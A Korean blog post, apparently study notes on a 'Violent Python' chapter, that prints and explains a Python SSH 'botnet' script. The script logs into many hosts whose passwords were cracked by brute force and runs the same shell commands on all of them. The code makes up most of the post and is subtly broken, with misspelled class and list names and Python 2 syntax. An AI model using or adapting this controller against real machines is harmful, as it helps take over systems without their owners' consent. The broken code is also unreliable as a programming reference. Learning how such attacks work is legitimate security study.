(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)
여태까지는 브루트포스 기법을 이용한 ssh접속에 대해서 다뤄봤습니다.
이번에는 그렇게 뚫어본(?) ssh를 여러개를 동시에 접속하고 하는걸 다뤄봤습니다.
소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import optparse from pexpect import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connecting' def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before() def botnetCommand(command): for client in botnet: output = client.send_command(command) print '[+] Output from '+ client.host print '[+] '+ output def addClient(host, user, password): client = Clinet(host, user, password) botNet.append(client) botnet = [] addClient('127.0.0.1','root', 'toor') addClient('127.0.0.1','root', 'toor') botnetCommand('uname -v') botnetCommand('cat /etc/issue') | cs |
(아니 옵션도 안쓰면서 import optparse는 왜한겨....)
소스는 이해하기 쉽습니다.
Client클래스는 접속할 host의 정보를 쓰도록 하고
connect 함수가 연결울
send_command함수가 명령어를 보내는 역할을 맡았구요.
addclinet로 클래스 Client를 사용해 사용자 정보를 저장하고 bonet 리스트에 append 해줍니다.
그걸 botnetCommand함수가 for 문으로 send_command함수를 써서 명령어를 보낸다음
결과를 출력해 주는겁니다.
참쉽죠?
근데 저걸 아무것도 안보고 하라고 하면 못할거 같네요...ㅋㅋㅋㅋㅋㅋ
혹시...ㅈ..저만 그런건 아니겠죠?
'파이썬' 카테고리의 다른 글
해커의 언어. 치명적 파이썬 SMB Exploit (0) | 2017.08.23 |
---|---|
해커의 언어, 치명적 파이썬 FTP_WebInjection (0) | 2017.08.22 |
해커의언어, 치명적 파이썬 BruteKey (0) | 2017.08.19 |
해커의 언어, 치명적 파이썬 sshBrute (0) | 2017.08.18 |
오류 고침 (0) | 2017.08.18 |